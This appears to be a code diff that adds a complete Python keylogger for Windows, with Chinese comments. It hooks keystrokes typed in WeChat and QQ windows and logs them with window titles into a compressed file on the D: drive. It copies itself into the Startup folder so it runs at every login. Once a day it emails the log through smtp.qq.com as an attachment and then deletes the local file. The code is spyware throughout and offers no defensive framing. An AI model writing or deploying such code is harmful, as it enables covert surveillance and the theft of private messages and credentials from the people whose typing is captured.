|
| 1 | +import os |
| 2 | +import struct |
| 3 | +import zlib |
| 4 | +import time |
| 5 | +from collections import defaultdict |
| 6 | +import keyboard |
| 7 | +import psutil |
| 8 | +import win32gui |
| 9 | +import win32process |
| 10 | +import smtplib |
| 11 | +from email.mime.text import MIMEText |
| 12 | +from email.mime.multipart import MIMEMultipart |
| 13 | +from email.mime.base import MIMEBase |
| 14 | +from email import encoders |
| 15 | + |
| 16 | + |
| 17 | +# 可配置的应用列表 |
| 18 | +TARGET_APPS = ["WeChat", "QQ"] # 修改为更容易测试的应用,如记事本 |
| 19 | +# 配置部分,方便编辑 |
| 20 | +from_addr = "your_email@example.com" |
| 21 | +to_addr = "recipient_email@example.com" |
| 22 | +password = "your_email_password_or_smtp_token" |
| 23 | +compressed_file = "D:\\key_data.bin" |
| 24 | +interval_time = 86400 # 24 hours in seconds |
| 25 | + |
| 26 | +# 自启动功能 |
| 27 | +def enable_startup(): |
| 28 | + startup_dir = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup') |
| 29 | + script_name = os.path.basename(__file__) |
| 30 | + script_path = os.path.join(os.getcwd(), script_name) |
| 31 | + startup_path = os.path.join(startup_dir, script_name) |
| 32 | + |
| 33 | + if not os.path.exists(startup_path): |
| 34 | + with open(startup_path, 'w') as file: |
| 35 | + file.write(f'"{script_path}"') |
| 36 | + print(f"Program set to start automatically at: {startup_path}") |
| 37 | + else: |
| 38 | + print("Startup entry already exists.") |
| 39 | + |
| 40 | +# 发送邮件功能 |
| 41 | +def send_email(): |
| 42 | + msg = MIMEMultipart() |
| 43 | + msg['From'] = from_addr |
| 44 | + msg['To'] = to_addr |
| 45 | + msg['Subject'] = f'{time.strftime("%Y/%m/%d的记录", time.localtime(os.path.getmtime(compressed_file)))}' |
| 46 | + |
| 47 | + # 附件 |
| 48 | + with open(compressed_file, "rb") as attachment: |
| 49 | + part = MIMEBase("application", "octet-stream") |
| 50 | + part.set_payload(attachment.read()) |
| 51 | + |
| 52 | + encoders.encode_base64(part) |
| 53 | + part.add_header("Content-Disposition", f"attachment; filename= {os.path.basename(compressed_file)}") |
| 54 | + msg.attach(part) |
| 55 | + |
| 56 | + # 连接到SMTP服务器并发送邮件 |
| 57 | + try: |
| 58 | + server = smtplib.SMTP_SSL('smtp.qq.com', 465) |
| 59 | + server.login(from_addr, password) |
| 60 | + server.sendmail(from_addr, to_addr, msg.as_string()) |
| 61 | + server.close() |
| 62 | + print("Email sent successfully.") |
| 63 | + except Exception as e: |
| 64 | + print(f"Failed to send email: {e}") |
| 65 | + |
| 66 | +# 检查并发送邮件 |
| 67 | +def check_and_send_email(): |
| 68 | + if os.path.exists(compressed_file): |
| 69 | + last_mod_time = os.path.getmtime(compressed_file) |
| 70 | + current_time = time.time() |
| 71 | + if current_time - last_mod_time > interval_time: |
| 72 | + send_email() |
| 73 | + os.remove(compressed_file) # 发送邮件后删除文件 |
| 74 | + print(f"{compressed_file} deleted after sending email.") |
| 75 | + |
| 76 | +# 全局变量 |
| 77 | +recorded_data = [] |
| 78 | +current_window_title = None |
| 79 | +key_buffer = {} |
| 80 | +MERGE_INTERVAL = 5 # 合并间隔为5秒 |
| 81 | +is_target_app_active = False |
| 82 | + |
| 83 | +def save_compressed_file(): |
| 84 | + global recorded_data, compressed_file |
| 85 | + |
| 86 | + if not recorded_data: |
| 87 | + return |
| 88 | + |
| 89 | + existing_data = bytearray() |
| 90 | + if os.path.exists(compressed_file): |
| 91 | + with open(compressed_file, 'rb') as file: |
| 92 | + compressed_data = file.read() |
| 93 | + if compressed_data: |
| 94 | + try: |
| 95 | + existing_data = bytearray(zlib.decompress(compressed_data)) |
| 96 | + except zlib.error: |
| 97 | + existing_data = bytearray() |
| 98 | + |
| 99 | + raw_data = existing_data |
| 100 | + |
| 101 | + for window_title, key_name, count, timestamp in recorded_data: |
| 102 | + raw_data.append(1) |
| 103 | + title_bytes = window_title.encode('utf-8') |
| 104 | + raw_data.extend(struct.pack('I', len(title_bytes))) |
| 105 | + raw_data.extend(title_bytes) |
| 106 | + key_bytes = key_name.encode('utf-8') |
| 107 | + raw_data.extend(struct.pack('I', len(key_bytes))) |
| 108 | + raw_data.extend(key_bytes) |
| 109 | + raw_data.extend(struct.pack('I', count)) |
| 110 | + raw_data.extend(struct.pack('<d', timestamp)) |
| 111 | + |
| 112 | + if raw_data: |
| 113 | + compressed_data = zlib.compress(bytes(raw_data)) |
| 114 | + with open(compressed_file, 'wb') as file: |
| 115 | + file.write(compressed_data) |
| 116 | + |
| 117 | + recorded_data.clear() |
| 118 | + |
| 119 | +def process_key_buffer(): |
| 120 | + global recorded_data, key_buffer, current_window_title |
| 121 | + |
| 122 | + for key, data in list(key_buffer.items()): |
| 123 | + recorded_data.append((current_window_title, key, data['count'], data['first_time'])) |
| 124 | + |
| 125 | + key_buffer.clear() |
| 126 | + |
| 127 | +def on_key_event(e): |
| 128 | + global current_window_title, key_buffer, is_target_app_active |
| 129 | + if e.event_type == "down" and is_target_app_active: |
| 130 | + key_name = e.name |
| 131 | + current_time = time.time() |
| 132 | + |
| 133 | + if key_name in key_buffer: |
| 134 | + if current_time - key_buffer[key_name]['last_time'] <= MERGE_INTERVAL: |
| 135 | + key_buffer[key_name]['count'] += 1 |
| 136 | + key_buffer[key_name]['last_time'] = current_time |
| 137 | + else: |
| 138 | + key_buffer[key_name] = {'count': 1, 'first_time': current_time, 'last_time': current_time} |
| 139 | + else: |
| 140 | + key_buffer[key_name] = {'count': 1, 'first_time': current_time, 'last_time': current_time} |
| 141 | + |
| 142 | +def get_process_pids(process_names): |
| 143 | + pids = defaultdict(list) |
| 144 | + for proc in psutil.process_iter(['pid', 'name']): |
| 145 | + for name in process_names: |
| 146 | + if name.lower() in proc.info['name'].lower(): |
| 147 | + pids[name].append(proc.info['pid']) |
| 148 | + return pids |
| 149 | + |
| 150 | +def get_foreground_window_info(): |
| 151 | + hwnd = win32gui.GetForegroundWindow() |
| 152 | + _, pid = win32process.GetWindowThreadProcessId(hwnd) |
| 153 | + title = win32gui.GetWindowText(hwnd) |
| 154 | + return pid, title |
| 155 | + |
| 156 | +def normalize_title(title): |
| 157 | + return title.lstrip('*') |
| 158 | + |
| 159 | +def is_app_active(app_pids): |
| 160 | + fg_window_pid, fg_window_title = get_foreground_window_info() |
| 161 | + for app_name, pids in app_pids.items(): |
| 162 | + if fg_window_pid in pids: |
| 163 | + return True, normalize_title(fg_window_title), app_name |
| 164 | + return False, normalize_title(fg_window_title), "Global" |
| 165 | + |
| 166 | +def main(): |
| 167 | + global current_window_title, is_target_app_active |
| 168 | + last_window_title = None |
| 169 | + last_app_name = None |
| 170 | + last_active_pids = set() |
| 171 | + keyboard.hook(on_key_event) |
| 172 | + |
| 173 | + enable_startup() # 启动时将自己设置为自启动程序 |
| 174 | + check_and_send_email() # 检查并发送邮件 |
| 175 | + |
| 176 | + try: |
| 177 | + while True: |
| 178 | + app_pids = get_process_pids(TARGET_APPS) if TARGET_APPS else {} |
| 179 | + |
| 180 | + current_active_pids = set(pid for pids in app_pids.values() for pid in pids) |
| 181 | + closed_pids = last_active_pids - current_active_pids |
| 182 | + if closed_pids: |
| 183 | + process_key_buffer() |
| 184 | + save_compressed_file() |
| 185 | + last_active_pids = current_active_pids |
| 186 | + |
| 187 | + is_active, window_title, app_name = is_app_active(app_pids) |
| 188 | + |
| 189 | + if is_active or not TARGET_APPS: |
| 190 | + current_window_title = f"{app_name}: {window_title}" |
| 191 | + |
| 192 | + if app_name != last_app_name: |
| 193 | + if last_app_name: |
| 194 | + is_target_app_active = False |
| 195 | + process_key_buffer() |
| 196 | + save_compressed_file() |
| 197 | + last_app_name = app_name |
| 198 | + key_buffer.clear() |
| 199 | + is_target_app_active = True |
| 200 | + |
| 201 | + elif last_app_name: |
| 202 | + is_target_app_active = False |
| 203 | + process_key_buffer() |
| 204 | + save_compressed_file() |
| 205 | + last_app_name = None |
| 206 | + key_buffer.clear() |
| 207 | + |
| 208 | + time.sleep(0.5) |
| 209 | + except KeyboardInterrupt: |
| 210 | + pass |
| 211 | + finally: |
| 212 | + process_key_buffer() |
| 213 | + save_compressed_file() |
| 214 | + |
| 215 | +if __name__ == "__main__": |
| 216 | + main() |
0 commit comments